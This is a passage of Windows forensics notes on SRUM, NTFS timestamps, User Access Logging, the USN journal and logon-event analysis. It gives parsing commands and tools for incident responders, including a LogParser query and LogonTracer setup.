As the copied `SRUM` database will likely not be in a "clean state", the database will have to be repaired. This can be accomplished using the `esentutl` utility. It is recommended to make a copy of the `SRU` directory before repairing the database.

```
# The following commands should be executed in the directory containing the UAL database files.

esentutl.exe /r sru /i

esentutl.exe /p SRUDB.dat
```

**SrumECmd**

The `SrumECmd` utility (`KAPE`'s `SrumECmd` module) can parse and extract information from the `SRUDB.dat` database, and correlates information from the `SOFTWARE` registry hive.

```
# Parses the specified SRUM database, using the optionally provided SOFTWARE registry hive.
SrumECmd.exe -f <SRUDB.dat | SRUM_DB_FILE> [-r <SOFTWARE>] --csv <OUTPUT_DIRECTORY>

# Recursively look for SRUDB.dat and SOFTWARE files in the specified directory.
SrumECmd.exe -d <DIRECTORY> --csv <OUTPUT_DIRECTORY>
```

***

### References

<https://isc.sans.edu/forums/diary/System+Resource+Utilization+Monitor/21927/>

<https://www.youtube.com/watch?v=Uw8n4\\_o-ETM>


# Timestamps

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### NTFS $STANDARD\_INFORMATION & $FILENAME MACB timestamps

On `NTFS` filesystems, each file posses (at least) two attributes that hold (among other information) `Modification, Access, Change and Birth (MACB)` timestamps:

* `$STANDARD_INFORMATION`
* `$FILENAME`

The impact of a number of operations on each timestamps for the `$STANDARD_INFORMATION` and `$FILENAME` attributes are detailed in the [SANS's `Windows Time Rules` poster](https://www.sans.org/security-resources/posters/windows-forensic-analysis/170/download). Globally, the following points should be noted:

* `$FILENAME` `MACB` timestamps are updated on file creation / copy / volume move with the date of the operation itself but are not reliability updated on regular file operations (access, modification, rename, deletion). **However as the `$FILENAME`** **`MAB` timestamps are updated / copied from the `$STANDARD_INFORMATION`** **`MAB` timestamps on file rename or volume-local file move, they are prone to false-negatives.** Indeed, by timestomping the `$STANDARD_INFORMATION` timestamps then renaming or moving the file, the `$FILENAME` timestamps will be indirectly timestomped as well.
* On file copy (between two `NTFS` partitions): the `$STANDARD_INFORMATION` `MC` timestamps are inherited from the original file but the `$STANDARD_INFORMATION` `AB` timestamps (and the `$FILENAME` `MACB` timestamps) are the ones of the copy itself.
* On local file moves (on the same `NTFS` partition), the `$STANDARD_INFORMATION` `C` `$FILENAME` `C` timestamps are updated with the timestamp of the move). On file moves (between `NTFS` partitions), the `$STANDARD_INFORMATION` `AC` timestamps are updated, also with the timestamp of the move.
* The update of the `$STANDARD_INFORMATION` `A` timestamp is unreliable and depends on the value of the `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisableLastAccessUpdate` registry key. The following values may be encountered:
  * `0` (default on Windows XP), `80000000` (User managed), `80000002` (System managed) means that last access updates are enabled. Starting from `Windows Redstone 4` (`Build 1803` of 04/2018), last access updates seem to be enabled (back) by default if the system partition size is <= to 128 GiB. Starting from `Windows 10 20H1` (`Build 18970` of 05/2020) last access updates seem to be enabled by default independently of the system partition size.
  * `1` (default from Windows Vista to early Windows 10 versions), `80000001` (User managed), `80000003` means that last access updates are disabled.

Depending on its filename length, a given file may have one or two `$FILENAME` attributes:

* file with short name will have a single `$FILENAME` attribute.
* file with long name will be associated to two `$FILENAME` attributes, one for the long file name and a second for the MS-DOS-compatible short file name (`FILENA~1.TXT` for example).

Additionally, another `$FILENAME` attribute can be found for each file in the directory index of their directory of residency. Indeed directory are stored on `NTFS` partitions as `B+ tree data structure` with the keys, representing files and subdirectories, stored as `$FILENAME` attributes. `MACB` timestamps for each files and subdirectories of a given directory can thus be found in the directory index. The directory index are stored in `NTFS Index Attribute` files, also known as `INDX` files and named `$I30` on disk.

A given file may thus be associated with either:

* **12 timestamps**: `$STANDARD_INFORMATION` + `$FILENAME` + `NTFS $I30`'s `$FILENAME`.
* **20 timestamps**: `$STANDARD_INFORMATION` + 2 \* `$FILENAME` + 2 \* `NTFS $I30`'s `$FILENAME` (duplicate timestamps for files with long name).

### Registry last write timestamps

The last write / modified timestamp of a registry key correspond to the last time a write operation occurred on the key. Multiple types of write operation may trigger an update of the last write / modified timestamp of the key:

* Addition / modification / deletion of one (or multiple) values under the key.
* Addition / deletion of a sub-key under the key.
* Change in the security descriptor (including `Access Control List (ACL)`) of the key.

The last write / modified timestamp of a registry key is the only generic timestamp available regarding registry keys.

### Convert UNIX time to human readable format

Timestamps in Windows are often stored as `UNIX time`: 32-bit value containing the number of seconds elapsed since 1/1/1970.

Note that Active Directory generally store time values of objects (stored in each object's attributes) in `Greenwich Mean Time (GMT)`.

The following one-liners can be used to convert an `UNIX time` to an human readable format:

```
# Display both the time in GMT and in the local time zone of the system.
w32tm.exe /ntte <UNIX_TIMESTAMP>
```

***

### References

<https://www.sans.org/security-resources/posters/windows-forensic-analysis/170/download>

<https://forensicswiki.xyz/wiki/index.php?title=MAC\\_times>

<https://dfir.ru/2018/12/08/the-last-access-updates-are-almost-back/amp/>


# User Access Logging (UAL)

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### Overview

Location: `%SystemRoot%\System32\Logfiles\SUM\` folder.

Yield Information related to **user access and activity**.\
On Domain Controllers, yield information on **sessions opening on domain-joined computers** (if the given DC was reached for authentication / `Group Policy` retrieval).

`User Access Logging (UAL)` is a feature introduced, and enabled by default, in `Windows Server 2012` that consolidates data on client activity. Among other information, user access on specific Windows Server roles (such as `Active Directory Domain Services` on Domain Controller) are logged by the `UAL`. The specific activity triggering an entry to be logged for a given role is not documented.

The information is stored locally in up to five `Extensible Storage Engine (ESE)` database files (`.mdb`):

* `Current.mdb` which contains data for the last 24-hour.
* Up to three `<GUID>.mdb` files, which contain data for an entire year (first to last day), going back to 2 years. The data in the `Current.mdb` database is copied each day to the corresponding (`<GUID>.mdb`) database for the current year.
* `Systemidentity.mdb` which contains metadata on the local server, including a mapping on roles' GUIDs and names.

Historical data going back to 2 years (2020 as of 2022) may thus be retrieved in the `UAL` database files.

### Information of interest

The `CLIENTS` table of the aforementioned database files contain multiple information of interest:

* Accessed Windows Server role `GUID` and description. Among others, the following roles can be encountered:
  * `Active Directory Domain Services` (GUID: `ad495fc3-0eaa-413d-ba7d-8b13fa7ec598`).
  * `File Server` (GUID: `10a9226f-50ee-49d8-a393-9a501d47ce04`).
  * `Active Directory Certificate Services` (GUID: `c50fcc83-bc8d-4df5-8a3d-89d7f80f074b`).
* The client domain and username.
* Total number of access.
* First, last, and daily access timestamps.
* Client `IPv4` or `IPv6` address. On Domain Controllers, the hostname associated the `IP` address at that time may be retrievable as machine accounts of domain-joined computers also authenticate on `AD DS`.

Each entry in the `CLIENTS` table is composed of a unique set of a Windows Server role, a client's domain / username, and a source `IP` address.

The `DNS` table of the aforementioned database files contain information about `DNS` resolutions: hostname, associated `IP` address, and timestamp of last resolution.

### Parsing

**Live forensics**

The PowerShell cmdlets of the `UserAccessLogging` module can be used to retrieve `UAL` data on a live system:

```bash
# Enumerates the roles installed on the system.
Get-UalOverview

# Retrieves UAL data for user access (data stored in the CLIENTS table).
Get-UalUserAccess

# Retrieves UAL data for client access by device for a given service, ordered by date (data stored in the CLIENTS table).
# The cmdlets returns the date that the client accessed the service and how many times the client accessed the service during that day.
Get-UalDailyAccess

# Retrieves information on DNS resolutions (data stored in the DNS table).
Get-UalDns
```

**Triaged UAL database files**

A direct copy of the `UAL` database files is not possible as the files are being locked due to continued access. The files should be copied through a `shadow copy` volume or using utilities implementing raw disk reads (such as [`Velociraptor`](https://github.com/Velocidex/velociraptor) or [`RawCopy`](https://github.com/jschicht/RawCopy)).

```bash
# Example of low level file copy bypassing file locking using RawCopy.
RawCopy64.exe /FileNamePath:"<C:\Windows\System32\LogFiles\Sum\Current.mdb | UAL_DB_FILE>" /OutputPath:"<OUTPUT_DIRECTORY>"
```

As the databases copied will not be in a "clean state", the database files will have to be repaired. This can be accomplished using the `esentutl` utility:

```
# The following commands should be executed in the directory containing the UAL database files.

esentutl.exe /r sru /i

esentutl.exe /p <Current.mdb | UAL_DB_FILE>
```

The Eric Zimmerman's `SumECmd.exe` tool or the [`KStrike`](https://github.com/brimorlabs/KStrike) Python script can be used to parse `UAL` database files:

```bash
# Parses the specified individual UAL database file.
KStrike.py <Current.mdb | UAL_DB_FILE>

# Parses the UAL database files (Current.mdb, SystemIdentity.mdb, etc.) in the specified directory.
# The results will be aggregated in single CSV files per category (client access, DNS requests, etc.).
SumECmd.exe --csv <CSV_DIRECTORY_OUTPUT> -d <DIRECTORY_WITH_UAL_DB_FILES>
```

***

### References

<https://advisory.kpmg.us/blog/2021/digital-forensics-incident-response.html>

<https://www.youtube.com/watch?v=rVHKXUXhhWA>

<https://docs.microsoft.com/en-us/windows-server/administration/user-access-logging/get-started-with-user-access-logging>

<https://www.crowdstrike.com/blog/user-access-logging-ual-overview/>


# UsnJrnl

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### Overview

The `Update Sequence Number Journal (USN) Journal` is a feature of NTFS, activated by default on Vista and later, which maintains a record of changes made to the NTFS volume. The creation, deletion or modification of files or directories are for instance journalized.

Similarly to the `MFT`, entries for deleted files are progressively overwritten in the `UsnJrnl`.

The journal is located in `\$Extend\$UsnJrnl` (`$Max` and `$J` data streams) but can not be accessed through the Windows explorer as it is a system file.

The journal is composed of the `$Max` and `$J` data streams. The `$Max` data stream stores the meta data of the change and the `$J` data stream stores the actual change log records.

The change log records are notably composed of:

* an `Update Sequence Number (USN)`
* the timestamp of the change
* the reason the record was logged (`USN_REASON_FILE_CREATE`, `USN_REASON_FILE_DELETE`, `USN_REASON_DATA_OVERWRITE`, `USN_REASON_RENAME_NEW_NAME`, etc.)
* MFT reference and reference sequence number

### UsnJrnl metadata

The Windows `fsutil` and the PowerShell cmdlet `Get-ForensicUsnJrnlInformation` of the `PowerForensics` suite can be used to retrieve metadata about the `UsnJrnl`:

```
# First and current USN, maximum size notably
fsutil usn queryjournal <NTFS_VOLUME>

Get-ForensicUsnJrnlInformation
Get-ForensicUsnJrnlInformation -VolumeName <NTFS_VOLUME>
Get-ForensicUsnJrnlInformation -Path <USN_JRNL_PATH>
```

### UsnJrnl extraction and parsing

**MFTECmd**

The `MFTECmd` utility can parse and extract information from the `UsnJrnl`'s `$J` stream (as well as other filesystem artefacts such as the `$MFT`, the file ownership `$Secure:$SDS` data stream, and the transaction log file `$Logfile`).

```bash
# A UsnJrnl's $J file on a mounted partition should be specified.
# For instance, to extract UsnJrnl's $J data from a forensics image, the image should first be mounted and the UsnJrnl's $J file specified as <DRIVER_LETTER>:\$Extend\$J to MFTECmd.exe.

MFTECmd.exe -f '<USNJRN_J$>' --csv <OUTPUTDIR_PATH>
```

**ExtractUsnJrnl / UsnJrnl2Csv**

The `ExtractUsnJrnl.exe` with `UsnJrnl2Csv.exe` utilities as well as the PowerShell cmdlet `Get-ForensicFileRecord` of the `PowerForensics` suite can be used to parse and extract information from the `UsnJrnl`. The tools below do not support the `UsnJrnl`'s `USN_RECORD_V4` format yet.

```
ExtractUsnJrnl64.exe /DevicePath:<NTFS_VOLUME> [/OutputPath:<FULL_OUTPUT_PATH> | /OutputName:<OUTPUT_FILE>]
ExtractUsnJrnl64.exe /ImageFile:<IMAGE_PATH> [/OutputPath:<FULL_OUTPUT_PATH> | /OutputName:<OUTPUT_FILE>]

# Starts the UsnJrnl2Csv GUI
UsnJrnl2Csv64.exe
  UsnJrnl2Csv64.exe /UsnJrnlFile:<INPUT_USN_JRNL> /OutputPath:<OUTPUT_FOLDER> /TimeZone:"<-12.00 ... 14.00>" /Separator:"<CSV_SEPARATOR>"

# May not work properly on newer Windows operating systems
Get-ForensicUsnJrnl
Get-ForensicUsnJrnl -VolumeName <NTFS_VOLUME>
Get-ForensicUsnJrnl -Path <USN_JRNL_PATH>
```

***

### References

<http://forensicinsight.org/wp-content/uploads/2013/07/F-INSIGHT-Advanced-UsnJrnl-Forensics-English.pdf> <https://countuponsecurity.com/2017/05/25/digital-forensics-ntfs-change-journal/>


# Miscellaneous

**Windows DFIR notes are no longer maintained on InfoSec-Notes. Updated versions can be found on:** [**artefacts.help**](https://artefacts.help/)**.**

### NTFS file attributes

A number of forensic artefact files, such as the `$MFT` or the `$UsnJrnl` files, have both the `NTFS` `Hidden (H)` and `System (S)` attributes set. The `System` attribute is used to identify system-critical files that are "necessary for Windows to operate properly" and are not shown by the Windows Explorer application or the `dir` utility by default.

Following a collect of these files, that may be locked by Windows and require utilities such as `Velociraptor` or `KAPE` for triage, the files will remain hidden. The `attrib.exe` utility can be used to remove the `Hidden (H)` / `System (S)` attributes:

```
# Shows the specified file or files in the working directory NTFS attributes.
attrib [<FILE>]

# Removes the Hidden and System attributes from the specified file.
attrib -h -s <FILE>
```

Alternatively, hidden / system files can be displayed in the Windows Explorer application (View -> Check "Hidden Items") or with `dir` utility / `Get-ChildItem` cmdlet the if needed:

```
dir /x /a

Get-ChildItem -Attributes Hidden,!Hidden
```


# TTPs analysis


# Accounts usage

### Automated accounts usage extraction and parsing

The following `LogParser.exe` query extract and parse multiple `Security` events related to Windows logon into an output `CSV` file. The following `events ID` are processed: 4624, 4625, 4634, 4647, 4648, 4772, 4778, 4779, 4800, 4801, 4802, and 4803.

This query can prove useful for analysis of events from both Domain Controllers and Windows servers or workstations.

The query is implemented in `KAPE` as the `Logon-Logoff-events` module.

```bash
# Author: Brian Maloney (idea by @0x47617279).

LogParser.exe -stats:OFF -i:EVT -o CSV "SELECT TO_UTCTIME(TimeGenerated) AS Date, EventID, CASE EventID WHEN 4624 THEN 'An account was successfully logged on' WHEN 4625 THEN 'An account failed to log on' WHEN 4634 THEN 'An account was logged off' WHEN 4647 THEN 'User initiated logoff' WHEN 4648 THEN 'A logon was attempted using explicit credentials' WHEN 4672 THEN 'Special privileges assigned to new logon' WHEN 4778 THEN 'A session was reconnected to a Window Station' WHEN 4779 THEN 'A session was disconnected from a Window Station' WHEN 4800 THEN 'The workstation was locked' WHEN 4801 THEN 'The workstation was unlocked' WHEN 4802 THEN 'The screen saver was invoked' WHEN 4803 THEN 'The screen saver was dismissed' END as Description, CASE EventID WHEN 4624 THEN EXTRACT_TOKEN(Strings, 5, '|') WHEN 4625 THEN EXTRACT_TOKEN(Strings, 5, '|') WHEN 4634 THEN EXTRACT_TOKEN(Strings, 1, '|') WHEN 4647 THEN EXTRACT_TOKEN(Strings, 1, '|') WHEN 4648 THEN EXTRACT_TOKEN(Strings, 1, '|') WHEN 4672 THEN EXTRACT_TOKEN(Strings, 1, '|') WHEN 4778 THEN EXTRACT_TOKEN(Strings, 0, '|') WHEN 4779 THEN EXTRACT_TOKEN(Strings, 0, '|') WHEN 4800 THEN EXTRACT_TOKEN(Strings, 1, '|') WHEN 4801 THEN EXTRACT_TOKEN(Strings, 1, '|') WHEN 4802 THEN EXTRACT_TOKEN(Strings, 1, '|') WHEN 4803 THEN EXTRACT_TOKEN(Strings, 1, '|') END as Username, CASE EventID WHEN 4624 THEN EXTRACT_TOKEN(Strings, 6, '|') WHEN 4625 THEN EXTRACT_TOKEN(Strings, 6, '|') WHEN 4634 THEN EXTRACT_TOKEN(Strings, 2, '|') WHEN 4647 THEN EXTRACT_TOKEN(Strings, 2, '|') WHEN 4648 THEN EXTRACT_TOKEN(Strings, 2, '|') WHEN 4672 THEN EXTRACT_TOKEN(Strings, 2, '|') WHEN 4778 THEN EXTRACT_TOKEN(Strings, 1, '|') WHEN 4779 THEN EXTRACT_TOKEN(Strings, 1, '|') WHEN 4800 THEN EXTRACT_TOKEN(Strings, 2, '|') WHEN 4801 THEN EXTRACT_TOKEN(Strings, 2, '|') WHEN 4802 THEN EXTRACT_TOKEN(Strings, 2, '|') WHEN 4803 THEN EXTRACT_TOKEN(Strings, 2, '|') END as Domain, CASE EventID WHEN 4648 THEN STRCAT(EXTRACT_TOKEN(Strings, 6, '|'),STRCAT('\\',EXTRACT_TOKEN(Strings, 5, '|'))) END AS CredentialsUsed, CASE EventID WHEN 4624 THEN EXTRACT_TOKEN(Strings, 7, '|') WHEN 4624 THEN EXTRACT_TOKEN(Strings, 7, '|') WHEN 4634 THEN EXTRACT_TOKEN(Strings, 3, '|') WHEN 4647 THEN EXTRACT_TOKEN(Strings, 3, '|') WHEN 4648 THEN EXTRACT_TOKEN(Strings, 3, '|') WHEN 4672 THEN EXTRACT_TOKEN(Strings, 3, '|') WHEN 4778 THEN EXTRACT_TOKEN(Strings, 2, '|') WHEN 4779 THEN EXTRACT_TOKEN(Strings, 2, '|') WHEN 4800 THEN EXTRACT_TOKEN(Strings, 3, '|') WHEN 4801 THEN EXTRACT_TOKEN(Strings, 3, '|') WHEN 4802 THEN EXTRACT_TOKEN(Strings, 3, '|') WHEN 4803 THEN EXTRACT_TOKEN(Strings, 3, '|') END AS LogonID, CASE EventID WHEN 4778 THEN EXTRACT_TOKEN(Strings, 3, '|') WHEN 4779 THEN EXTRACT_TOKEN(Strings, 3, '|') WHEN 4800 THEN EXTRACT_TOKEN(Strings, 4, '|') WHEN 4801 THEN EXTRACT_TOKEN(Strings, 4, '|') WHEN 4802 THEN EXTRACT_TOKEN(Strings, 4, '|') WHEN 4803 THEN EXTRACT_TOKEN(Strings, 4, '|') END AS SessionName, REPLACE_STR(REPLACE_STR(REPLACE_STR(REPLACE_STR(REPLACE_STR(REPLACE_STR(REPLACE_STR(REPLACE_STR(REPLACE_STR(REPLACE_STR(REPLACE_STR(CASE EventID WHEN 4624 THEN EXTRACT_TOKEN(Strings, 8, '|') WHEN 4625 THEN EXTRACT_TOKEN(Strings, 10, '|') WHEN 4634 THEN EXTRACT_TOKEN(Strings, 4, '|') END,'2','Logon via console'),'3','Network Logon'),'4','Batch Logon'),'5','Windows Service Logon'),'7','Credentials used to unlock screen'),'8','Network logon sending credentials (cleartext)'),'9','Different credentials used than logged on user'),'10','Remote interactive logon (RDP)'),'11','Cached credentials used to logon'),'12','Cached remote interactive (similar to Type 10)'),'13','Cached unlock (similar to Type 7)') AS LogonType, CASE EventID WHEN 4625 THEN CASE EXTRACT_TOKEN(strings, 7, '|') WHEN '0xc000005e' THEN 'There are currently no logon servers available to service the logon request' WHEN '0xc0000064' THEN 'user name does not exist' WHEN '0xc000006a' THEN 'user name is correct but the password is wrong' WHEN '0xc000006d' THEN 'user logon with misspelled or bad password' WHEN '0xc000006e' THEN 'unknown user name or bad password' WHEN '0xc000006f' THEN 'user tried to logon outside his day of week or time of day restrictions' WHEN '0xc0000070' THEN 'workstation restriction, or Authentication Policy Silo violation (look for event ID 4820 on domain controller)' WHEN '0xc0000071' THEN 'expired password' WHEN '0xc0000072' THEN 'account is currently disabled' WHEN '0xc00000dc' THEN 'Indicates the Sam Server was in the wrong state to perform the desired operation.' WHEN '0xc0000133' THEN 'clocks between DC and other computer too far out of sync' WHEN '0xc000015b' THEN 'The user has not been granted the requested logon type (aka logon right) at this machine' WHEN '0xc000018c' THEN 'The logon request failed because the trust relationship between the primary domain and the trusted domain failed' WHEN '0xc0000192' THEN 'An attempt was made to logon, but the netlogon service was not started' WHEN '0xc0000193' THEN 'account expiration' WHEN '0xc0000224' THEN 'user is required to change password at next logon' WHEN '0xc0000225' THEN 'evidently a bug in Windows and not a risk' WHEN '0xc0000234' THEN 'user is currently locked out' WHEN '0xc00002ee' THEN 'Failure Reason. An Error occurred during Logon' WHEN '0xc0000413' THEN 'Logon Failure. The machine you are logging onto is protected by an authentication firewall. The specified account is not allowed to authenticate to the machine' ELSE EXTRACT_TOKEN(strings, 7, '|') END END AS Status, CASE EventID WHEN 4625 THEN CASE EXTRACT_TOKEN(strings, 9, '|') WHEN '0xc000005e' THEN 'There are currently no logon servers available to service the logon request' WHEN '0xc0000064' THEN 'user name does not exist' WHEN '0xc000006a' THEN 'user name is correct but the password is wrong' WHEN '0xc000006d' THEN 'user logon with misspelled or bad password' WHEN '0xc000006e' THEN 'unknown user name or bad password' WHEN '0xc000006f' THEN 'user tried to logon outside his day of week or time of day restrictions' WHEN '0xc0000070' THEN 'workstation restriction, or Authentication Policy Silo violation (look for event ID 4820 on domain controller)' WHEN '0xc0000071' THEN 'expired password' WHEN '0xc0000072' THEN 'account is currently disabled' WHEN '0xc00000dc' THEN 'Indicates the Sam Server was in the wrong state to perform the desired operation.' WHEN '0xc0000133' THEN 'clocks between DC and other computer too far out of sync' WHEN '0xc000015b' THEN 'The user has not been granted the requested logon type (aka logon right) at this machine' WHEN '0xc000018c' THEN 'The logon request failed because the trust relationship between the primary domain and the trusted domain failed' WHEN '0xc0000192' THEN 'An attempt was made to logon, but the netlogon service was not started' WHEN '0xc0000193' THEN 'account expiration' WHEN '0xc0000224' THEN 'user is required to change password at next logon' WHEN '0xc0000225' THEN 'evidently a bug in Windows and not a risk' WHEN '0xc0000234' THEN 'user is currently locked out' WHEN '0xc00002ee' THEN 'Failure Reason. An Error occurred during Logon' WHEN '0xc0000413' THEN 'Logon Failure. The machine you are logging onto is protected by an authentication firewall. The specified account is not allowed to authenticate to the machine' ELSE EXTRACT_TOKEN(strings, 9, '|') END END AS SubStatus, CASE EventID WHEN 4624 THEN EXTRACT_TOKEN(strings, 9, '|') WHEN 4625 THEN EXTRACT_TOKEN(strings, 11, '|') END AS AuthPackage, CASE EventID WHEN 4624 THEN EXTRACT_TOKEN(Strings, 11, '|') WHEN 4625 THEN EXTRACT_TOKEN(Strings, 13, '|') WHEN 4648 THEN EXTRACT_TOKEN(Strings, 8, '|') WHEN 4778 THEN EXTRACT_TOKEN(Strings, 4, '|') WHEN 4779 THEN EXTRACT_TOKEN(Strings, 4, '|') END AS Workstation, CASE EventID WHEN 4624 THEN EXTRACT_TOKEN(Strings, 18, '|') WHEN 4625 THEN EXTRACT_TOKEN(Strings, 19, '|') WHEN 4648 THEN EXTRACT_TOKEN(Strings, 12, '|') WHEN 4778 THEN EXTRACT_TOKEN(Strings, 5, '|') WHEN 4779 THEN EXTRACT_TOKEN(Strings, 5, '|') END AS SourceIP INTO <DESTINATION_FOLDER>\logparser-Logon-Logoff-events.csv' FROM '<SECURITY_EVTX_FILE>' WHERE EventID IN (4624;4625;4634;4647;4648;4672;4778;4779;4800;4801;4802;4803) AND Username NOT IN ('SYSTEM'; 'ANONYMOUS LOGON'; 'LOCAL SERVICE'; 'NETWORK SERVICE') AND Domain NOT IN ('NT AUTHORITY')" -filemode:0
```

### Active Directory

#### Summary

Note that the events presented below are only the ones related to account usage centralized on the Domain Controllers from activity on the remote systems integrated in the Active Directory domain.\
The events logged for account usage on the Domain Controllers themselves are similar to standard Windows systems (and are thus detailed in the sections [Destination machine](#destination-machine) and [Source machine](#source-machine) below).

| Artefact | Location        | Conditions             | Description                                                                               |
| -------- | --------------- | ---------------------- | ----------------------------------------------------------------------------------------- |
| EVTX     | `Security.evtx` | Default configuration. | [Event `4624: An account was successfully logged on`.](#security-event-id-4624)           |
| EVTX     | `Security.evtx` | Default configuration. | Event `4625: An account failed to log on`.                                                |
| EVTX     | `Security.evtx` | Default configuration. | Event `4768: A Kerberos authentication ticket (TGT) was requested`.                       |
| EVTX     | `Security.evtx` | Default configuration. | Event `4769: A Kerberos service ticket was requested`.                                    |
| EVTX     | `Security.evtx` | Default configuration. | Event `4771: Kerberos pre-authentication failed`.                                         |
| EVTX     | `Security.evtx` | Default configuration. | Event `4776: The domain controller attempted to validate the credentials for an account`. |

#### LogonTracer

`LogonTracer` is a tool to display Active Directory logon-related events as a graph. Logon events are represented as two nodes, the host (hostname or IP address) and the account name, linked by the event information (`event ID`, number of occurrences, etc.).

The following `events ID` are processed: 4624, 4625, 4768, 4769, 4776, and 4672.

Events can be filtered on a number of criteria:

* The host(s) (hostname or IP) or user(s) concerned by the logon.
* If the authentication provider is `NTLM` (AuthName: NTLM).
* The logon type: `RDP` (Logon type 10), `Network` (Logon type 3), `Batch` (Logon type 4), and `Service` (Logon type 5).
* If the logon was associated to special privileges (`event ID` 4672).
* etc.

```bash
# LogonTracer default username: neo4j
# LogonTracer default password: password

# Pulls and installs the Docker container.
docker pull jpcertcc/docker-logontracer

# Runs the LogonTracer container.
docker run --detach --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 -e LTHOSTNAME=<IP> jpcertcc/docker-logontracer

# Deletes the example data present by default in the container.
docker exec <CONTAINER_ID> python /usr/local/src/LogonTracer/logontracer.py --delete -u '<USERNAME>' -p '<PASSWORD>' -s <IP>

# It is advised to add Security.evtx hives through the web interface, exposed by default on the TCP port 8080.
Upload Event Log (bottom left) -> Browse -> One or multiple files can be selected -> Upload

# Alternatively, the Security.evtx hives can be upload using the logontracer.py Python script.
python3 logontracer.py [-e <EVTX> | -x <EVTX_XML>] -z <TIME_ZONE> -u '<USERNAME>' -p '<PASSWORD>' -s <IP>
```

### Destination machine

#### Summary

| Artefact | Location        | Conditions                                                                                                                  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| -------- | --------------- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| EVTX     | `Security.evtx` | Default configuration.                                                                                                      | <p><a href="#security-event-id-4624">Event <code>4624: An account was successfully logged on</code>.</a><br><br>Legacy:<br>Events <code>528: Successful Logon</code> and <code>540: Successful Network Logon</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| EVTX     | `Security.evtx` | Default configuration.                                                                                                      | <p>Event <code>4625: An account failed to log on</code>.<br><br>Legacy:<br>Events <code>529</code>, <code>530</code>, <code>531</code>, <code>532</code>, <code>533</code>, <code>534</code>, <code>535</code>, <code>536</code>, <code>537</code>, and <code>539</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| EVTX     | `Security.evtx` | <p>Default configuration.<br><br>Only logged on for logon with elevated privileges.</p>                                     | <p><a href="#security-event-id-4672">Event <code>4672: Special privileges assigned to new logon</code>.</a><br><br>Legacy:<br>Events <code>576: Special privileges assigned to new logon</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| EVTX     | `Security.evtx` | Default configuration.                                                                                                      | <p>Event <code>4634: An account was logged off</code>.<br><br>Legacy:<br>Events <code>538: User Logoff</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| EVTX     | `Security.evtx` | <p>Default configuration.<br><br>Only logged on for <code>Interactive</code> and <code>RemoteInteractive</code> logons.</p> | <p>Event <code>4647: User initiated logoff</code>.<br><br>Legacy:<br>Events <code>551: User initiated logoff</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| EVTX     | `Security.evtx` | Requires `Audit Other Logon/Logoff Events`.                                                                                 | <p>Event <code>4649: A replay attack was detected</code>.<br><br>Event <code>4778: A session was reconnected to a Window Station</code>.<br><br>Event <code>4779: A session was disconnected from a Window Station</code>.<br><br>Event <code>4800: The workstation was locked</code>.<br><br>Event <code>4801: The workstation was unlocked</code>.<br><br>Event <code>4802: The screen saver was invoked</code>.<br><br>Event <code>4803: The screen saver was dismissed</code>.<br><br>Event <code>5378: The requested credentials delegation was disallowed by policy</code>.<br><br>Event <code>5632: A request was made to authenticate to a wireless network</code>.<br><br>Event <code>5633: A request was made to authenticate to a wired network</code>.<br><br></p> |

### Source machine

#### Summary

| Artefact | Location        | Conditions                                                                                | Description                                                                                                                                                            |
| -------- | --------------- | ----------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| EVTX     | `Security.evtx` | <p>Default configuration.<br><br>Only logged whenever alternate credentials are used.</p> | <p>Event <code>4648: A logon was attempted using explicit credentials</code>.<br><br>Legacy:<br>Events <code>552: Logon attempt using explicit credentials</code>.</p> |

### Events details

**Security Event ID 4624**

Location: destination machine `Security.evtx`.\
Event ID: `4624: An account was successfully logged on`.

Privileged logon will generate an additional `Security` event: `4672: Special privileges assigned to new logon`.

The `4624` event yields information such as:

* The SID `SubjectUserSid`, account name `SubjectUserName`, and domain `SubjectDomainName` of the user logging in.
* the source machine hostname `WorkstationName`, IP `IpAddress` and port `IpPort` if the event corresponds to remote login (otherwise the three aforementioned fields are set to `-`).
* The authentication protocol in the `AuthenticationPackageName` field (`NTLM`, `Kerberos` or `Negotiate` ) used for the logging. If the logon is made through the `NTLM` protocol, the `LmPackageName` field precisely identify the `NTLM` version in use (`LM`, `NTLM V1`, `NTLM V2`).
* The logon type in the `LogonType` field (detailed below).
* The privileges level in the `ElevatedToken` field. If set to `%%1842` (`Yes`), the session the event represents runs in a elevated context. The event can be correlated with the `Security` event `EID: 4672` to precisely identify the privilege tokens of the session.
* The impersonation level of the event in the `ImpersonationLevel` field (detailed below).
* the `LogonID` field identifying the logon session, which can be correlated with various other `Security` events.

The `LogonType` field provides information on how the logging was established:

| Logon Type | Description                                                                                                                                                                                                                                                                                                    |
| ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 2          | <p>Interactive logon.<br><br><em>Logon type generated for on screen login at the keyboard as well as some remote access with specific tools.</em><br><em>Note that access made using <code>PsExec</code> with an user specified using the <code>-u</code> option will result in an interactive logon.</em></p> |
| 3          | <p>Network logon (share access, etc.).<br><br><em>Logon type generated for access over the network (access to <code>SMB</code> share, <code>PsExec</code>, <code>WMI</code> / <code>WinRM</code>, etc.).</em></p>                                                                                              |
| 4          | Batch logon (scheduled task)                                                                                                                                                                                                                                                                                   |
